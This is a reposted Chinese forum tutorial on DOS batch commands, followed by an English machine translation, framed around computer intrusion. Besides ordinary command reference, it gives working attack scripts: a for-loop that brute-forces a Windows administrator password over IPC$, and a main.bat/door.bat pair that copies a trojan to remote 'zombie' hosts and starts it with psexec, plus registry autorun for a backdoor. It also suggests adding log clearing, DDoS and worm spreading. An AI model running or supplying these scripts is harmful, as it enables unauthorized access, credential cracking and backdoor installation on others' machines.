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[转帖]dos批处理命令详解一
使用 LLM 解释/回答一下
dos批处理命令详解一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)
3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call FileName ] ]
参数
FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end?
Sample：
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后，将显示 defrag,mem,end? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。
9.If 命令
if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I
如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command
如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。
FOR /R path] %variable IN (set) DO command path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command %variable IN (file-set) DO command
FOR /F %variable IN ("string"<img src="images/smilies/face-wink.png" align="absmiddle" border="0"> DO command
FOR /F %variable IN ('command') DO command
或者，如果有 usebackq 选项:
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string"<img src="images/smilies/face-wink.png" align="absmiddle" border="0"> DO command
FOR /F %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或
'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。
### Detailed Explanation of DOS Batch Processing Commands I. Introduction to Simple Batch Processing Internal Commands
1. Echo Command
Turn on or off the request echo function, or display a message. If there are no parameters, the echo command will display the current echo setting.
Syntax
echo
Sample: @echo off / echo hello world
In practical applications, we will combine this command with the redirection symbol (also called the pipe symbol, generally using > >> ^) to implement inputting some commands into files in a specific format. This will be reflected in subsequent examples.
2. @ Command
Indicates not to display the command after @. In the process of intrusion (such as using a batch to format the enemy's hard disk), of course, you cannot let the other party see the commands you use.
Sample: @echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (The format command cannot use the /y parameter. Fortunately, Microsoft has left the autoset parameter for us, and the effect is the same as /y.)
3. Goto Command
Specify to jump to a label. After finding the label, the program will process the commands starting from the next line.
Syntax: goto label (label is a parameter, specifying the line in the batch program to which it is to be transferred.)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms (If you don't understand if, %1, %2 here, skip it first, and there will be detailed explanations later.)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
The name of the label can be chosen arbitrarily, but it is better to have meaningful letters. A colon is added before the letter to indicate that this letter is a label. The goto command finds where to jump next according to this colon. It is best to have some explanations so that others can understand your intention.
4. Rem Command
Comment command, which is equivalent to /*--------*/ in C language. It will not be executed, but only plays a role of comment, which is convenient for others to read and for your own future modification.
Rem Message
Sample: @Rem Here is the description.
5. Pause Command
When the Pause command is run, the following message will be displayed:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
In this example, all files on the disk in drive A are copied to d:\back. When the displayed comment prompts you to put another disk into drive A, the pause command will suspend the program so that you can change the disk, and then press any key to continue processing.
6. Call Command
Call another batch program from one batch program, and the parent batch program is not terminated. The call command accepts the label used as the call target. If used outside a script or batch file, Call will not work on the command line.
Syntax
call FileName ] ]
Parameters
FileName
Specify the location and name of the batch program to be called. The filename parameter must have the .bat or .cmd extension.
7. start Command
Call an external program. All DOS commands and command-line programs can be called by the start command.
Common parameters for intrusion:
MIN Start the window minimized
SEPARATE Start a 16-bit Windows program in a separate space
HIGH Start the application in the HIGH priority category
REALTIME Start the application in the REALTIME priority category
WAIT Start the application and wait for it to end
parameters These are parameters passed to the command/program
When the executed application is a 32-bit GUI application, CMD.EXE returns to the command prompt without waiting for the application to terminate. If it is executed in a command script, this new behavior will not occur.
8. choice Command
The choice command allows the user to enter a character, thereby running different commands. When using it, the /c: parameter should be added. The characters that can be entered should be written after c:, with no spaces in between. Its return code is 1234......
For example: choice /c:dme defrag,mem,end
It will display
defrag,mem,end?
Sample:
The content of Sample.bat is as follows:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (Should judge the highest numerical error code first)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
After this file is run, it will display defrag,mem,end? The user can choose d m e, and then the if statement will make a judgment. d means executing the program segment marked defrag, m means executing the program segment marked mem, e means executing the program segment marked end. Each program segment finally uses goto end to jump the program to the end label, and then the program will display good bye, and the file ends.
9. If Command
if means to judge whether the specified condition is met, so as to decide to execute different commands. There are three formats:
1. if "parameter" == "string" command to be executed
If the parameter is equal to the specified string, the condition is true, run the command, otherwise run the next sentence. (Note that there are two equal signs)
For example, if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2. if exist filename command to be executed
If the specified file exists, the condition is true, run the command, otherwise run the next sentence.
For example, if exist config.sys edit config.sys
3. if errorlevel / if not errorlevel number command to be executed
If the return code is equal to the specified number, the condition is true, run the command, otherwise run the next sentence.
For example, if errorlevel 2 goto x2
All DOS programs return a number to DOS when running, called the error code errorlevel or return code. The common return codes are 0 and 1.
10. for Command
The for command is a relatively complex command, mainly used to execute commands in a loop within a specified range of parameters.
When using the FOR command in a batch file, use %%variable to specify the variable.
for {%variable│%%variable} in (set) do command
%variable specifies a single letter replaceable parameter.
(set) specifies one or a group of files. Wildcards can be used.
command specifies the command to be executed for each file.
command-parameters specify parameters or command-line switches for a specific command.
When using the FOR command in a batch file, use %%variable to specify the variable instead of %variable. The variable name is case-sensitive, so %i is different from %I
If command extensions are enabled, the following additional FOR command formats will be supported:
FOR /D %variable IN (set) DO command
If wildcards are included in the set, it means matching directory names instead of file names.
FOR /R path] %variable IN (set) DO command path, and point to the FOR statement in each directory. If no directory is specified after /R, the current directory is used. If the set is only a single dot (.) character, enumerate the directory tree.
FOR /L %variable IN (start,step,end) DO command %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
Or, if the usebackq option is available:
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
filenameset is one or more file names. Before continuing to the next file in filenameset, each file has been opened, read, and processed.
Processing includes reading the file, dividing it into lines of text, and then parsing each line into zero or more symbols. Then the for loop is called with the symbol string variable value found. By default, /F separates through the first blank symbol in each line of each file. Skip blank lines. You can replace the default parsing operation by specifying the optional "options" parameter. This quoted string includes one or more keywords specifying different parsing options. These keywords are:
eol=c - refers to the end of a line comment character (just one)
skip=n - refers to the number of lines to be ignored at the beginning of the file.
delims=xxx - refers to the delimiter set. This replaces the default delimiter set of spaces and tabs.
tokens=x,y,m-n - refers to which symbols of each line are passed to each iteration of for itself. This will lead to the format of additional variable names as a range. Specify the last character star of the m symbol string through the nth symbol,
then the additional variables will be allocated and accept the reserved text of the line after the last symbol parsing.
usebackq - specifies that the new syntax has been used in the following situations:
When executing a backquoted string as a command and the quote character is a literal string command and allows the use of double quotes to enclose file names in fi.
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
It will analyze each line in myfile.txt, ignore those lines starting with a semicolon, and pass the second and third symbols in each line to the for program body; delimited by commas and/or spaces. Please note that the statement of this for program body refers to %i to get the second symbol, refers to %j to get the third symbol, and refers to %k to get all the remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name with double quotes. In order to use double quotes in this way, you also need to use the usebackq option, otherwise, the double quotes will be understood as being used to define a string to be analyzed.
%i is specifically explained in the for statement, and %j and %k are specifically explained through the tokens= option. You can specify up to 26 symbols in a line through tokens=, as long as you do not try to explain a variable higher than the letter 'z' or 'Z'. Please remember that FOR variables are single letters, case-sensitive, and global; at the same time, there cannot be more than 52 in use.
You can also use the FOR /F analysis logic on adjacent strings; the method is to enclose the filenameset between parentheses with single quotes. In this way, the string will be regarded as a single input line in a file.
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joomla! Autoit! |
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 2004-11-8 00:00 |
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autoit
系统支持
积分 904
发帖 339
注册 2002-10-10
来自 厦门
状态 离线
|
『第 2 楼』:
使用 LLM 解释/回答一下
最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进
内存，并被当作文件分析。因此，以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("<img src="images/smilies/face-wink.png" align="absmiddle" border="0">，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2：
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt ，这样就ko了。
sample3：
你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。
主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
代码雏形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～
sample2：
当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage：第一条命令 & 第二条命令
用这种方法可以同时执行多条命令，而不管命令是否执行成功
Sample：
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage：第一条命令 && 第二条命令
用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
Sample：
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单，如：
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）
3.││
Usage：第一条命令 ││ 第二条命令
用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；
Sample：
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子：
sample：
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.│ 命令
Usage：第一条命令 │ 第二条命令
将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。
sample：
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于，>会清除调原有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。
sample1：
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。
1.创建
创建分为两种，一种是创建子项(Subkey)
我们创建一个文件，内容如下：
Windows Registry Editor Version 5.00
然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在下
新建了:Invader、door、about这三个项目
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"
2.修改
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。
3.删除
我们首先来说说删除一个项目名称，我们创建一个如下的文件：
Windows Registry Editor Version 5.00
"Ex4rch"=-
执行该脚本，下的"Ex4rch"就被删除了；
我们再看看删除一个子项，我们创建一个如下的脚本：
Windows Registry Editor Version 5.00
执行该脚本，就已经被删除了。
相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
Finally, you can use the FOR /F command to analyze the output of a command. The method is to turn the filenameset between the parentheses into a back-quoted string. This string will be treated as a command line and passed to a sub CMD.EXE, and its output will be captured into memory and treated as a file for analysis. Therefore, the following example:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
will enumerate the environment variable names in the current environment.
In addition, the replacement of FOR variable references has been enhanced. You can now use the following option syntax:
~I - Remove any quotes ("), expand %I
%~fI - Expand %I to a fully qualified path name
%~dI - Expand %I to only a drive letter
%~pI - Expand %I to only a path
%~nI - Expand %I to only a file name
%~xI - Expand %I to only a file extension
%~sI - The expanded path only contains short names
%~aI - Expand %I to the file attributes of the file
%~tI - Expand %I to the date/time of the file
%~zI - Expand %I to the size of the file
%~$PATH:I - Find the directory listed in the path environment variable and expand %I to the first fully qualified name found. If the environment variable is not defined or the file is not found, this combination key will expand to an empty string
You can combine modifiers to get multiple results:
%~dpI - Expand %I to only a drive letter and path
%~nxI - Expand %I to only a file name and extension
%~fsI - Expand %I to a full path name with a short name
%~dp$PATH:i - Find the directory listed in the path environment variable and expand %I to the first drive letter and path found.
%~ftzaI - Expand %I to a DIR-like output line
In the above examples, %I and PATH can be replaced with other valid values. The %~ syntax is terminated with a valid FOR variable name. Choosing an uppercase variable name like %I is easier to read and avoids confusion with case-insensitive combination keys.
The above is the official help from MS. Next, we will give a few examples to specifically illustrate the use of the For command in intrusions.
Sample 2:
Use the For command to implement brute-force password cracking on a target Win2k host. We use net use \\ip\ipc$ "password" /u:"administrator" to try to connect with the target host. When successful, record the password. The main command is a single line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" to represent the password of admin with i%, and take the value of i% in dict.txt to connect with the net use command. Then pass the program running result to the find command - for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt, and that's it.
Sample 3:
Do you ever have a large number of zombie computers waiting for you to plant backdoors + trojans? When the number is particularly large, what was originally a happy thing will become very depressing :). The article mentioned at the beginning that using batch files can simplify daily or repetitive tasks. So how to achieve it? Hehe, you will understand when you read on.
There is also only one main command: (when using the FOR command in a batch file, specify the variable using %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
The usage of tokens is shown in sample 1 above. Here it means to pass the content in victim.txt to the parameters %i %j %k in door.bat in sequence.
And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, and copy the trojan + backdoor to the victim, then use the return code (If errorlever =) to screen the host where the backdoor is successfully planted, and echo it out, or echo to a specified file.
delims= means that the content in vivtim.txt is separated by a space. I think you must also understand what the content in this victim.txt is like by seeing here. It should be arranged according to the objects represented by %%i %%j %%k. Generally, it is ip password username.
Code outline:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
This is just a prototype of an automatic backdoor planting batch. The two batch files, the backdoor program (Windrv32.exe), and PSexec.exe need to be placed in the same directory. The content of the batch file can be expanded. For example, add functions like clearing logs + DDOS, adding users regularly, and more deeply can make it have automatic propagation functions (worms). No more details here. Friends who are interested can study it by themselves.
II. How to use parameters in batch files
Parameters can be used in batch processing. Generally, there are nine parameters from 1% to 9%. When there are multiple parameters, shift is needed to move, and this situation is not common, so we don't consider it.
Sample 1: format.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto format
This example is used to continuously format several floppy disks, so when using it, you need to enter format.bat a in the dos window. Hehe, it seems a bit redundant ~
Sample 2:
When we always have to enter a long string of commands to establish an IPC$ connection, and it is easy to make mistakes, so it is better to write some fixed commands into a batch file, and use the ip password username of the zombie computer as parameters to assign to this batch file, so that we don't have to type the commands every time.
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" Note that here PASSWORD is the second parameter.
@if errorlevel 1 echo connection failed
How about, using parameters is still relatively simple? You must have learned it. No.3
III. How to use compound commands (Compound Command)
1. &
Usage: First command & Second command
In this way, multiple commands can be executed at the same time, regardless of whether the command is executed successfully
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2. &&
Usage: First command && Second command
In this way, multiple commands can be executed at the same time. When an executed command is found to be wrong, the subsequent commands will not be executed. If there is no error all the time, all commands will be executed until the end;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
